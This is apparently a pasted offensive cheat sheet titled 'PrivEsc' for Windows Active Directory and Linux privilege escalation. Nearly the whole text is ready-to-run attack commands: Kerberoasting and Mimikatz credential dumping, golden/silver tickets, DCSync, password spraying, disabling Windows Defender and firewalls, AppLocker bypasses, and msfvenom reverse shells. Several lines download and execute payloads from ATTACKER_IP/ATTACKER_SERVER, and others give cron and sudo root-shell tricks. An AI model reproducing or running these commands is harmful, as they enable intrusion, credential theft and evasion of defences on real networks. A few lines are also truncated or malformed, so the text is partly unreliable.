PrivEsc


SUBMITTED BY: DevilDawg

DATE: Feb. 23, 2022, 3:33 a.m.

FORMAT: Text only

SIZE: 56.7 kB

HITS: 712

  1. Service Principal Names (SPNs):
  2. Service accounts leverage SPNs to support Kerberos authentication, which leaves a trail to exactly where these accounts are and what they are used for. This information can be easily exploited by an attacker.
  3. Using PowerShell list all domain service accounts that have registered SPN values:
  4. #Build LDAP Filter to look for users with SPN values registered for current domain
  5. $ldapFilter = "(&(objectclass=user)(objectcategory=user)(servicePrincipalName=*))"
  6. $domain = New-Object System.DirectoryServices.DirectoryEntry
  7. $search = New-Object System.DirectoryServices.DirectorySearcher
  8. $search.SearchRoot = $domain
  9. $search.PageSize = 1000
  10. $search.Filter = $ldapFilter
  11. $search.SearchScope = "Subtree"
  12. #Execute Search
  13. $results = $search.FindAll()
  14. #Display SPN values from the returned objects
  15. foreach ($result in $results)
  16. {
  17. $userEntry = $result.GetDirectoryEntry()
  18. Write-Host "User Name = " $userEntry.name
  19. foreach ($SPN in $userEntry.servicePrincipalName)
  20. {
  21. Write-Host "SPN = " $SPN
  22. }
  23. Write-Host ""
  24. }
  25. LOCATE ALL ACCOUNTS WITH "svc" IN THE NAME:
  26. #Build LDAP Filter to look for users with service account naming conventions
  27. $ldapFilter = "(&(objectclass=Person)(cn=*svc*))"
  28. $domain = New-Object System.DirectoryServices.DirectoryEntry
  29. $search = New-Object System.DirectoryServices.DirectorySearcher
  30. $search.SearchRoot = $domain
  31. $search.PageSize = 1000
  32. $search.Filter = $ldapFilter
  33. $search.SearchScope = "Subtree"
  34. #Adds list of properties to search for
  35. $objProperties = "name"
  36. Foreach ($i in $objProperties){$search.PropertiesToLoad.Add($i)}
  37. #Execute Search
  38. $results = $search.FindAll()
  39. #Display values from the returned objects
  40. foreach ($result in $results)
  41. {
  42. $userEntry = $result.GetDirectoryEntry()
  43. Write-Host "User Name = " $userEntry.name
  44. Write-Host ""
  45. }
  46. To search Active Directory for service accounts, you need to investigate the values of an object’s user account control settings. Switch the first line of the above script with the line below to accomplish this.
  47. $ldapFilter = "(&(objectclass=user)(objectcategory=user)(useraccountcontrol :1.2.840.113556.1.4.803:=65536))"
  48. The data is structured in a tree format. Each node in the tree is called a key. Each key can contain both subkeys and data entries called values.
  49. Registry Hive - A hive is a logical group of keys, subkeys, and values in the registry that has a set of supporting files loaded into memory when the operating system is started or a user logs in. Each time a new user logs on to a computer, a new hive is created for that user with a separate file for the user profile. This is called the user profile hive. A user’s hive contains specific registry information pertaining to the user’s application settings, desktop, environment, network connections, and printers. User profile hives are located under the HKEY_USERS key.
  50. Most of the supporting files for the hives are in the %SystemRoot%\System32\Config directory. These files are updated each time a user logs on.
  51. Elevation of Privileges
  52. General
  53. # PowerShellMafia
  54. # Use always dev branch others are shit.
  55. https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
  56. powershell.exe -c “Import-Module C:\Users\Public\PowerUp.ps1; Invoke-AllChecks”
  57. powershell.exe -c “Import-Module C:\Users\Public\Get-System.ps1; Get-System”
  58. # Sherlock
  59. https://github.com/rasta-mouse/Sherlock
  60. # Unquoted paths
  61. wmic service get name,displayname,pathname,startmode |findstr /i “Auto” |findstr /i /v “C:\Windows\\” |findstr /i /v
  62. Kerberoast
  63. Simple logic for kerberoast is requesting tickets and cracking them(offline, doesn’t produce any logs)
  64. – For kerberos to work, times have to be within 5 minutes between attacker and victim.
  65. # Rubeus
  66. .\.rubeus.exe kerberoast /creduser:ecorp\morph3 /credpassword:pass1234
  67. # List available tickets
  68. setspn.exe -t evil.corp -q */*
  69. powershell.exe -exec bypass -c “Import-Module .\GetUserSPNs.ps1”
  70. cscript.exe GetUserSPNs.ps1
  71. # List cached tickets
  72. Invoke-Mimikatz -Command ‘”kerberos::list”‘
  73. powershell.exe -c “klist”
  74. powershell.exe -c “Import-Module C:\Users\Public\Invoke-Mimikatz.ps1; Invoke-Mimikatz -Command ‘”kerberos::list”‘”
  75. # Request tickets
  76. Add-Type -AssemblyName System.IdentityModel
  77. New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “HTTP/web01.medin.local”
  78. # Requesting remotely
  79. python GetUserSPNs.py -request ECORP/morph3:supersecurepassword@127.0.0.1
  80. # Extract tickets
  81. powershell.exe -c “Import-Module C:\Users\Public\Invoke-Kerberoast.ps1; Invoke-Kerberoast -OutputFormat Hashcat”
  82. Invoke-Mimikatz -Command ‘”kerberos::list /export”‘
  83. # Crack Tickets
  84. python tgsrepcrack.py /usr/share/wordlists/rockyou.txt ticket.kirbi
  85. Juicy Potato
  86. https://github.com/ohpe/juicy-potato/releases
  87. Pick one CLSID from here according to your system
  88. https://github.com/ohpe/juicy-potato/tree/master/CLSID
  89. Required tokens :-
  90. SeAssignPrimaryTokenPrivilege
  91. SeImpersonatePrivilege
  92. C:\Windows\Temp\JuicyPotato.exe -p cmd.exe -a “/c whoami > C:\Users\Public\morph3.txt” -t * -l 1031 -c {d20a3293-3341-4ae8-9aaf-8e397cb63c34}
  93. Stored Credential
  94. # To check if there is any stored keyscmdkey /list
  95. # Using them
  96. runas /user:administrator /savecred “cmd.exe /k whoami”
  97. Impersonating Tokens with meterpreter
  98. use incognito
  99. list_tokens -u
  100. impersonate_token NT-AUTHORITY\System
  101. Lateral Movement
  102. PsExec, SmbExec, WMIExec, RDP, PTH in general.
  103. WinRM is always good. Check groups carefully.
  104. Since windows gave support to OpenSSH we should also consider SSH.
  105. Mimikatz Ticket PTH
  106. Enable-PSRemoting
  107. mimikatz.exe ‘” kerberos:ptt C:\Users\Public\ticketname.kirbi”‘ “exit”
  108. Enter-PSSession -ComputerName ECORP
  109. WinRM
  110. $pass = ConvertTo-SecureString ‘supersecurepassword’ -AsPlainText -Force
  111. $cred = New-Object System.Management.Automation.PSCredential (‘ECORP.local\morph3’, $pass)
  112. Invoke-Command -ComputerName DC -Credential $cred -ScriptBlock { whoami }
  113. # Evil-WinRM
  114. https://github.com/Hackplayers/evil-winrm
  115. ruby evil-winrm.rb -i 192.168.1.2 -u morph3 -p morph3 -r evil.corp
  116. PTH with Mimikatz
  117. Invoke-Mimikatz -Command ‘”sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:command”‘
  118. Database Links
  119. # PowerUpSQL
  120. https://github.com/NetSPI/PowerUpSQL
  121. Get-SQLServerLink -Instance server -Verbose
  122. powershell.exe -c “Import-Module C:\Users\Public\PowerUpSQL.ps1; Invoke-SQLEscalatePriv -Verbose -Instance ECORP\sql”
  123. # To see servers
  124. select srvname from master..sysservers;
  125. # Native
  126. Get-SQLServerLinkCrawl -Instance server -Query “exec master..xp_cmdshell ‘whoami'”
  127. # Linked database tables
  128. select * from openquery(“ECORP\FOO”, ‘select TABLE_NAME from FOO.INFORMATION_SCHEMA.TABLES’)
  129. # You can also use meterpreter module exploit/windows/mssql/mssql_linkcrawler
  130. # With meterpreter module you can find linked databases and if you are admin on them
  131. # You can do a query and try to enable xp_cmpshell on that server
  132. select * from openquery(“server”,’select * from master..sysservers’) EXECUTE AS USER = ‘internal_user’ (‘sp_configure “xp_cmdshell”,1;reconfigure;’) AT “server”
  133. Golden and Silver Tickets
  134. Keys depend of ticket :
  135. –> for a Golden, they are from the krbtgt account;
  136. –> for a Silver, it comes from the “computer account” or “service account”.
  137. # Golden Ticket
  138. # Extract the hash of the krbtgt user
  139. lsadump::dcsync /domain:evil.corp /user:krbtgt
  140. lsadump::lsa /inject
  141. lsadump:::lsa /patch
  142. lsadump::trust /patch
  143. # creating the ticket
  144. # /rc4 or /krbtgt – the NTLM hash
  145. # /sid you will get this from krbtgt dump
  146. # /ticket parameter is optional but default is ticket.kirbi
  147. # /groups parameter is optional but default is 513,512,520,518,519
  148. # /id you can fake users and supply valid Administrator id
  149. kerberos::golden /user:morph3 /domain:evil.corp /sid:domains-sid /krbtgt:krbtgt-hash /ticket:ticket.kirbi /groups:501,502,513,512,520,518,519
  150. kerberos::ptt golden.tck # you can also add /ptt at the kerberos::golden command
  151. # After this , final ticket must be ready
  152. # You can now verify that your ticket is in your cache
  153. powershell.exe -c “klist”
  154. # Verify that golden ticket is working
  155. dir \\DC\C$
  156. psexec.exe \\DC cmd.exe
  157. # Purge the currently cached kerberos ticket
  158. kerberos::purge
  159. #metasploit module can also be used for golden ticket, it loads the ticket into given session
  160. post/windows/escalate/golden_ticket
  161. # Silver Ticket
  162. # Silver Ticket allows escalation of privileges on DC
  163. # /target t he server/computer name where the service is hosted (ex: share.server.local, sql.server.local:1433, …)
  164. # /service – The service name for the ticket (ex: cifs, rpcss, http, mssql, …)
  165. # Examples
  166. kerberos::golden /user:morph3 /domain:domain /sid:domain-sid /target:evilcorp-sql102.evilcorp.local.1433 /service:MSSQLSvc /rc4:service-hash /ptt /id:1103
  167. sqlcmd -S evilcorp-sql102.evilcorp.local
  168. select SYSTEM_USER;
  169. GO
  170. kerberos::golden /user:JohnDoe /id:500 /domain:targetdomain.com /sid:S-1-5-21-1234567890-123456789-1234567890 /target:targetserver.targetdomain.com /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt
  171. AD Attacks
  172. Enumeration
  173. # Basic ldap enumeration
  174. enum4linux -a 192.168.1.2
  175. python windapsearch.py -u morph3 -p morph3 -d evil.corp –dc-ip 192.168.1.2
  176. python ad-ldap-enum.py -d contoso.com -l 10.0.0.1 -u Administrator -p P@ssw0rd
  177. Bruteforce on ldap
  178. # Password spray
  179. https://github.com/dafthack/DomainPasswordSpray
  180. Import-Module .\DomainPasswordSpray.ps1
  181. Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
  182. # Password brute
  183. ./kerbrute_linux_amd64 bruteuser -d evil.corp –dc 192.168.1.2 rockyou.txt morph3
  184. # Username brute
  185. ./kerbrute_linux_amd64 userenum -d evil.corp –dc 192.168.1.2 users.txt
  186. # Password spray
  187. ./kerbrute_linux_amd64 passwordspray -d evil.corp –dc 192.168.1.2 users.txt rockyou.txt
  188. DC Shadow
  189. AD MEM
  190. DC Shadow attack aims to inject malicious Domain Controllers into AD infrastructure so that we can dump actual AD members.
  191. #Find sid for that user
  192. wmic useraccount where (name=’administrator’ and domain=’%userdomain%’) get name,sid
  193. #This will create a RPC Server and listen
  194. lsadump::dcshadow /object:”CN=morph3,OU=Business,OU=Users,OU=ECORP,DC=ECORP,DC=local” /attribute:sidhistory /value:sid
  195. # Run this from another mimikatz
  196. lsadump::dcshadow /push
  197. # After this unregistration must be done
  198. # Relogin
  199. lsadump::dcsync /domain:ECORP.local /account:krbtgt
  200. # Now you must have krbtgt hash
  201. https://attack.stealthbits.com/how-dcshadow-persistence-attack-works
  202. DC Sync
  203. #####
  204. lsadump::dcsync /domain:domain /all /csv
  205. lsadump::dcsync /user:krbtgt
  206. #####
  207. https://gist.github.com/monoxgas/9d238accd969550136db
  208. powershell.exe -c “Import-Module .\Invoke-DCSync.ps1; Invoke-DCSync -PWDumpFormat”
  209. #####
  210. python secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
  211. python secretsdump.py -system /tmp/SYSTEM -ntds /tmp/ntds.dit LOCAL
  212. Bypass-Evasion Techniques
  213. Powershell Constrained Language Bypass
  214. powershell.exe -v 2 -ep bypass -command “IEX (New-Object Net.WebClient).DownloadString(‘http://ATTACKER_IP/rev.ps1’)
  215. PSByPassCLM
  216. powershell.exe -exec bypass -c
  217. Windows Defender
  218. sc config WinDefend start= disabled
  219. sc stop WinDefend
  220. # Powershell
  221. Set-MpPreference -DisableRealtimeMonitoring $true
  222. # Remove definitions
  223. “%Program Files%\Windows Defender\MpCmdRun.exe” -RemoveDefinitions -All
  224. Firewall
  225. Netsh Advfirewall show allprofiles
  226. NetSh Advfirewall set allprofiles state off
  227. Ip Whitelisting
  228. New-NetFirewallRule -Name morph3inbound -DisplayName morph3inbound -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress ATTACKER_IP
  229. Applocker ByPass
  230. https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md
  231. https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.md
  232. https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/DLL-Execution.md
  233. # Multistep process to bypass applocker via MSBuild.exe:
  234. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.56 LPORT=9001 -f csharp -e x86/shikata_ga_nai -i > out.cs
  235. # Replace the buf-sc and save it as out.csproj
  236. https://raw.githubusercontent.com/3gstudent/msbuild-inline-task/master/executes%20shellcode.xml
  237. Invoke-WebRequest “http://ATTACKER_IP/payload.csproj” -OutFile “out.csproj”; C:\windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe .\out.csproj
  238. # or you can simply use my tool 🙂
  239. https://github.com/morph3/Msbuild-payload-generator
  240. sudo python msbuild_gen.py -a x86 -i 10 –lhost 192.168.220.130 –lport 9001 -m
  241. GreatSCT
  242. # This also needs Veil-Framework
  243. python GreatSCT.py –ip 192.168.1.56 –port 443 -t Bypass -p installutil/powershell/script.py -c “OBFUSCATION=ascii SCRIPT=/root/script.ps1”
  244. C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false payload1.exe
  245. python3 GreatSCT.py -t Bypass -p regasm/meterpreter/rev_tcp –ip 192.168.1.56 –port 9001
  246. C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U payload.dll
  247. EvilSalsa
  248. #Preparing payloads
  249. python EncrypterAssembly/encrypterassembly.py EvilSalsa.dll supersecretpass123 evilsalsa.dll.txt
  250. EncrypterAssembly.exe EvilSalsa.dll supersecretpass123 evilsalsa.dll.txt
  251. #Executing payload
  252. SalseoLoader.exe password http://ATTACKER_IP/evilsalsa.dll.txt reversetcp ATTACKER_IP 9001
  253. # Reverse icmp shell
  254. python icmpsh_m.py “ATTACKER_IP” “VICTIM_IP”
  255. SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp ATTACKER_IP
  256. Miscellaneous
  257. Changing Permissions of a file
  258. icacls text.txt /grant Everyone:F
  259. Downloading files
  260. IEX (New-Object System.Net.WebClient).DownloadString(“http://ATTACKER_IP/rev.ps1”)
  261. (New-Object System.Net.WebClient).DownloadFile(“http://ATTACKER_SERVER/malware.exe”, “C:\Windows\Temp\malware.exe”)
  262. Invoke-WebRequest “http://ATTACKER_SERVER/malware.exe” -OutFile “C:\Windows\Temp\malware.exe”
  263. certutil.exe -urlcache -split -f “http://127.0.0.1:80/shell.exe” shell.exe
  264. Adding user to Domain admins
  265. Add-DomainGroupMember -Identity ‘Domain Admins’ -Members morph3 -Verbose
  266. Base64 Encode-Decode
  267. certutil -decode foo.b64 foo.exe
  268. certutil -encode foo.exe foo.b64
  269. Network sharing
  270. # Local share
  271. net share
  272. wmic share get /format:list
  273. # Remote share
  274. net view
  275. net view \\dc.ecorp.foo /all
  276. wmic /node: dc.ecorp.foo share get
  277. # Mounting share
  278. net use Z: \\127.0.0.1\C$ /user:morph3 password123
  279. Port Forwarding
  280. # Port forward using plink
  281. plink.exe -l morph3 -pw pass123 192.168.1.56 -R 8080:127.0.0.1:8080
  282. # Port forward using meterpreter
  283. portfwd add -l attacker-port -p victim-port -r victim-ip
  284. portfwd add -l 3306 -p 3306 -r 192.168.1.56
  285. Powershell Portscan
  286. 0..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect(VICTIM_IP,$_)) “Port $_ is open!”} 2>$null
  287. Recovering Powershell Secure String
  288. ######
  289. $user = “morph3”
  290. $file = “morph3-pass.xml”
  291. $cred= New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $user, (Get-Content $file | ConvertTo-SecureString)
  292. Invoke-Command -ComputerName ECORP -Credential $cred -Authentication credssp -ScriptBlock { whoami }
  293. ######
  294. [System.Runtime.InteropServices.marshal]::PtrToStringAuto([System.Runtime.InteropServices.marshal]::SecureStringToBSTR(“string”))
  295. ######
  296. $Ptr = [System.Runtime.InteropServices.Marshal]::SecureStringToCoTaskMemUnicode($password)
  297. $result = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($Ptr)
  298. [System.Runtime.InteropServices.Marshal]::ZeroFreeCoTaskMemUnicode($Ptr)
  299. $result
  300. Injecting PowerShell scripts Into sessions
  301. Invoke-Command -FilePath scriptname -Sessions $sessions
  302. Enter-PSSession -Session $sess
  303. Enable RDP
  304. # CMD
  305. reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v UserAuthentication /t REG_DWORD /d 0 /f
  306. # Powershell
  307. Set-ItemProperty -Path ‘HKLM:\System\CurrentControlSet\Control\Terminal Server’-name “fDenyTSConnections” -Value 0
  308. Enable-NetFirewallRule -DisplayGroup “Remote Desktop”
  309. # Optional
  310. net localgroup “Remote Desktop Users” morph3 /add
  311. # Reruling firewall
  312. netsh advfirewall firewall set rule group=”remote desktop” new enable=Yes
  313. netsh advfirewall firewall add rule name=”allow RemoteDesktop” dir=in protocol=TCP localport=3389 action=allow
  314. Decrypting EFS files with Mimikatz
  315. Follow the link here How to Decrypt EFS Files
  316. privilege::debug
  317. token::elevate
  318. crypto::system /file:”C:\Users\Administrator\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\thecert” /export
  319. dpapi::capi /in:”C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\SID\id”
  320. # Clear text password
  321. dpapi::masterkey /in:”C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\SID\masterkey” /password:pass123
  322. # After this command you must have the exported .der and .pvk files
  323. dpapi::capi /in:”C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\SID\id” /masterkey:f2c9ea33a990c865e985c496fb8915445895d80b
  324. openssl x509 -inform DER -outform PEM -in blah.der -out public.pem
  325. openssl rsa -inform PVK -outform PEM -in blah.pvk -out private.pem
  326. openssl pkcs12 -in public.pem -inkey private.pem -password pass:randompass -keyex -CSP “Microsoft Enhanced Cryptographic Provider v1.0” -export -out cert.pfx
  327. # Import the certificate
  328. certutil -user -p randompass -importpfx cert.pfx NoChain,NoRoot
  329. type “C:\Users\Administrator\Documents\encrypted.txt”
  330. Post exploitation – information gathering
  331. Reading Event Logs
  332. User must be in “Event Log Reader” group
  333. Follow this link
  334. Get-WinEvent -ListLog *
  335. # Listing logs of a specific user
  336. $cred = Get-Credentials
  337. Get -WinEvent -ListLog * -ComputerName AD1 -Credentials $cred
  338. # Reading Security logs
  339. (Get-WinEvent -FilterHashtable @{LogName = ‘Security’} | Select-Object @{name=’NewProcessNam
  340. e’;expression={ $_.Properties[5].Value }}, @{name=’CommandLine’;expression={
  341. $_.Properties[8].Value }}).commandline
  342. Password Dump
  343. # Metasploit
  344. post/windows/gather/enum_chrome
  345. post/multi/gather/firefox_creds
  346. post/firefox/gather/cookies
  347. post/firefox/gather/passwords
  348. post/windows/gather/forensics/browser_history
  349. post/windows/gather/enum_putty_saved_sessions
  350. # Empire
  351. collection/ChromeDump
  352. collection/FoxDump
  353. collection/netripper
  354. credentials/sessiongopher
  355. # mimikatz
  356. privilege::debug
  357. sekurlsa::logonpasswords
  358. Shadow copy
  359. There might be a case where you are privileged but can’t read-access to shadow files(NTDS.dit, SYSTEM etc.)
  360. diskshadow.exe
  361. set context persistent nowriters
  362. add volume C: alias morph3
  363. create
  364. expose %morph3% Z:
  365. # Deletion
  366. delete shadows volume %morph3%
  367. reset
  368. NTDS.dit dump
  369. secretsdump.py -system /tmp/SYSTEM -ntds /tmp/ntds.dit -outputfile /tmp/result local
  370. python crackmapexec.py 192.168.1.56 -u morph3 -p pass1234 -d evilcorp.com –ntds drsuapi
  371. # on DC, lsass.exe can dump hashes
  372. lsadump::lsa /inject
  373. Summary of tools
  374. Ad Environment
  375. icebreaker
  376. bloodhound
  377. Post Exploitation
  378. Empire
  379. DeathStar
  380. CrackMapExec – CME
  381. Covenant
  382. Rubeus
  383. SharpDPAPI
  384. Bypass
  385. Ebowla
  386. Veil-Framework
  387. PsBypassCLM
  388. Swiss Knife
  389. impacket
  390. Windows Kernel
  391. Vulnerabilities in the Windows kernel are published from time to time of which many can be used to escalate privileges.
  392. The following command can be used to retrieve installed patches and their date:
  393. wmic qfe get Caption,Description,HotFixID,InstalledOn
  394. Wmic can be used to retrieve installed software and their versions:
  395. wmic product get name, version
  396. To search for missing DLLs, PowerSploit can be used with the following script:
  397. Find-ProcessDLLHijack
  398. Hereafter, we can check the permissions in the directories that Windows searches for DLL files:
  399. Find-PathDLLHijack
  400. In the last step we can create a malicious DLL file with the following script:
  401. Write-HijackDll
  402. Windows first tries to execute an executable file in the location where the first space is. E.g. the service path
  403. C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe
  404. when administrators want to deploy images on a large number of devices without user interaction (called unattended installations) they use the Windows Deployment Services. However, this requires that the local system administrator’s password or other, privileged account passwords are stored in one or more of the following locations:
  405. C:\unattend.xml
  406. C:\Windows\Panther\Unattend.xml
  407. C:\Windows\Panther\Unattend\Unattend.xml
  408. C:\Windows\system32\sysprep.inf
  409. C:\Windows\system32\sysprep\sysprep.xml
  410. As an example, the following CMD commands can be used to search for passwords in configuration files:
  411. findstr /si password password *.txt
  412. findstr /si password password *.xml
  413. findstr /si password password *.ini
  414. findstr /si password password *.dat
  415. Furthermore, the following PowerSploit scripts can be used:
  416. Get-UnattendedInstallFile
  417. Get-Webconfig
  418. Get-ApplicationHost
  419. Get-SiteListPassword
  420. Get-CachedGPPPassword
  421. The following commands are used to search for passwords in the registry:
  422. reg query HKLM /f password /t REG_SZ /s
  423. reg query HKLM /f password /t REG_SZ /s
  424. reg query HKU /f password /t REG_SZ /s
  425. reg query HKU /f password /t REG_SZ /s
  426. reg query HKCU /f password /t REG_SZ /s
  427. reg query HKCU /f password /t REG_SZ /s
  428. Insufficient Physical Access Manipulation Protection
  429. Further privilege escalation attack vectors exist if physical access to the target system is available. This section describes how privileges can be escalated on a system, which an attacker has physical access to and which is protected insufficiently against file manipulation.
  430. The following graph depicts the possibilities to elevate privileges by attacking devices which we have physical access to:
  431. Find All Servers where Domain Admins are Registered to Run Services. If we are using the Domain User or local system from a particular Domain computer use the following command
  432. Get-SPN -type group -search "Domain Admins" -List yes | Format-Table -Autosize
  433. for a non domain system with domain credentials we can use the command below
  434. Get-SPN -type group -search "Domain Admins" -List yes -DomainController 192.168.1.100 -Credential domainuser | Format-Table -Autosize
  435. Discovering the Service Accounts
  436. By Doing an SPN Scan for user accounts with Service Principal Names the service Accounts and the server accounts used can be identified.
  437. PS C:\> get-aduser -filter {ServicePrincipalName -like “*”} -Properties PasswordLastSet,LastLogonDate,ServicePrincipalName,TrustedForDelegation,TrustedtoAuthForDelegation
  438. Winexe
  439. Linux Binary pth-winexe
  440. Example with pth:
  441. pth-winexe -U ./Administrator%aad3b435b51404eeaad3b435b51404ee:4b579a266f697c2xxxxxxxxx //10.145.X.X cmd.exe
  442. pth-winexe -U EXAMPLE/Administrator%example@123 //10.145.X.X cmd.exe
  443. If we want to login as NTAuthority, probably use –system
  444. R-service:
  445. If there are any r-services enabled these are what you should try out, you may be lucky and get logged indirectly.
  446. #rlogin -l root <ip> // will directly log you in
  447. You can try an rlogin brute using Nmap script
  448. #nmap -p53 –script rlogin-brute <ip>
  449. #rusers -al <ip>
  450. #rwho
  451. SMB enumeration:
  452. This is what you might come across pretty often.
  453. #enum4linux -a <IP> //performs all basic enumeration using smb null session.
  454. #enum4linux -U 192.168.1.2 //-U will get userlist
  455. SMB null session is an unauthenticated netbios session between two computers. SMB null session is available for SMB1 systems only i.e 2000,xp,2003
  456. To use an smb null session :
  457. #rpcclient -U “” 192.168.1.2 ///when asked enter empty password
  458. #rpcclient $>srvinfo
  459. #rpcclient $>enumdomusers
  460. #rpcclient $>querydominfo
  461. #rpcclient $>getdompwinfo //password policy
  462. #rpcclient $>netshareenum
  463. #nmblookup -A 192.168.1.1
  464. #rpcinfo -p <target>
  465. Enumerate using smbclinet:
  466. #smbclient -L //192.168.1.2
  467. #smbclient -L //192.168.1.2/myshare -U anonymous
  468. #smb> get data.txt
  469. #smb>put evil.txt
  470. Brute SMB password:
  471. #nmap -p445 –script=smb-brute.nse <ip>
  472. Brute force should always be your last option. You can also use hydra to do it.
  473. Using nmap:
  474. #nmap -sU -sS –script=smb-enum-users -p U:137,T:139 192.168.1.200-254
  475. #nmap -T4 -v -oA shares –script smb-enum-shares –script-args smbuser=username,smbpass=password -p445 192.168.1.0/24
  476. Windows null session:
  477. C:\>net use \\TARGET\IPC$ “” /u:””
  478. Use acccheck for getting user pass using smb
  479. #acccheck -v -t 192.168.1.2 -u <user_name> -P /usr/share/dirb/wordlist/common.txt
  480. #acccheck -t 192.168.1.2 -U /root/users.txt -P /root/Pass.txt
  481. Once you got user creds we will use the creds to see the shares using smbmap
  482. #smbmap -u <user_name> -p <password> -d <domain> -H <IP>
  483. #smbmap -u user -p pass -d workgroup -H 192.168.1.2
  484. #smbmap -L -u user -p pass -d workgroup -H 192.168.1.2
  485. If you have only read privilege read the shares
  486. #smbmap -r -u user -p pass -d workgroup -H 192.168.1.2
  487. https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
  488. Exploiting a vulnerable machine via dirtycow
  489. $ whoami – tells us the current user is john (non-root user)
  490. $ uname -a – gives us the kernel version which we know is vulnerable to dirtycow
  491. > downloaded the dirtycow exploit from here – https://www.exploit-db.com/exploits/40839/
  492. > Compiled and executed it. It replaces the ‘root’ user with a new user ‘rash’ by editing the /etc/passwd file.
  493. $ su rash – It changes the current logged in user to ‘rash’ which is root.
  494. Exploiting vulnerable SUID executable to get root access
  495. $ find / -perm -u=s -type f 2>/dev/null – It prints the executables which have SUID bit set
  496. ls -la /usr/local/bin/nmap – Let’s confirm if nmap has SUID bit set or not.
  497. Exploiting misconfigured SUDO rights to get root access
  498. $ sudo -l – Prints the commands which we are allowed to run as SUDO
  499. sudo find /home -exec sh -i \; – find command’s exec parameter can be used for arbitrary code execution.
  500. Exploiting badly configured cron jobs to get root access
  501. $ ls -la /etc/cron.d – prints cron jobs which are already present in cron.d
  502. $ find / -perm -2 -type f 2>/dev/null – prints world writable files
  503. $ ls -la /usr/local/sbin/cron-logrotate.sh – Let’s confirm if the cron-logrotate.sh is world writable.
  504. $ echo “chown root:root /tmp/rootme; chmod u+s /tmp/rootme;”>/usr/local/sbin/cron-logrotate.sh –
  505. This will change the executable’s owner and group as root. It will also set the SUID bit.
  506. $ ls -la rootme – After 5 minutes, the logrotate cronjob was run and cron-logrotate.sh got execute with root privilege.
  507. $ ./rootme – spawns a root shell.
  508. > Now, if a root user executes the code with root privilege, we can achieve arbitrary code execution with root privilege.
  509. $ ls – executed ./ls file instead of running list command.
  510. Operating System
  511. What's the distribution type? What version?
  512. cat /etc/issue
  513. cat /etc/*-release
  514. cat /etc/lsb-release # Debian based
  515. cat /etc/redhat-release # Redhat based
  516. What's the kernel version? Is it 64-bit
  517. cat /proc/version
  518. uname -a
  519. uname -mrs
  520. rpm -q kernel
  521. dmesg | grep Linux
  522. ls /boot | grep vmlinuz-
  523. What can be learnt from the environmental variables?
  524. cat /etc/profile
  525. cat /etc/bashrc
  526. cat ~/.bash_profile
  527. cat ~/.bashrc
  528. cat ~/.bash_logout
  529. env
  530. set
  531. Is there a printer?
  532. lpstat -a
  533. Applications & Services
  534. What services are running? Which service has which user privilege?
  535. ps aux
  536. ps -ef
  537. top
  538. cat /etc/services
  539. Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!
  540. ps aux | grep root
  541. ps -ef | grep root
  542. What applications are installed? What version are they? Are they currently running?
  543. ls -alh /usr/bin/
  544. ls -alh /sbin/
  545. dpkg -l
  546. rpm -qa
  547. ls -alh /var/cache/apt/archivesO
  548. ls -alh /var/cache/yum/
  549. Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?
  550. cat /etc/syslog.conf
  551. cat /etc/chttp.conf
  552. cat /etc/lighttpd.conf
  553. cat /etc/cups/cupsd.conf
  554. cat /etc/inetd.conf
  555. cat /etc/apache2/apache2.conf
  556. cat /etc/my.conf
  557. cat /etc/httpd/conf/httpd.conf
  558. cat /opt/lampp/etc/httpd.conf
  559. ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
  560. What jobs are scheduled?
  561. crontab -l
  562. ls -alh /var/spool/cron
  563. ls -al /etc/ | grep cron
  564. ls -al /etc/cron*
  565. cat /etc/cron*
  566. cat /etc/at.allow
  567. cat /etc/at.deny
  568. cat /etc/cron.allow
  569. cat /etc/cron.deny
  570. cat /etc/crontab
  571. cat /etc/anacrontab
  572. cat /var/spool/cron/crontabs/root
  573. Any plain text usernames and/or passwords?
  574. grep -i user [filename]
  575. grep -i pass [filename]
  576. grep -C 5 "password" [filename]
  577. find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla
  578. Communications & Networking
  579. What NIC(s) does the system have? Is it connected to another network?
  580. /sbin/ifconfig -a
  581. cat /etc/network/interfaces
  582. cat /etc/sysconfig/network
  583. What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?
  584. cat /etc/resolv.conf
  585. cat /etc/sysconfig/network
  586. cat /etc/networks
  587. iptables -L
  588. hostname
  589. dnsdomainname
  590. What other users & hosts are communicating with the system?
  591. lsof -i
  592. lsof -i :80
  593. grep 80 /etc/services
  594. netstat -antup
  595. netstat -antpx
  596. netstat -tulpn
  597. chkconfig --list
  598. chkconfig --list | grep 3:on
  599. Whats cached? IP and/or MAC addresses
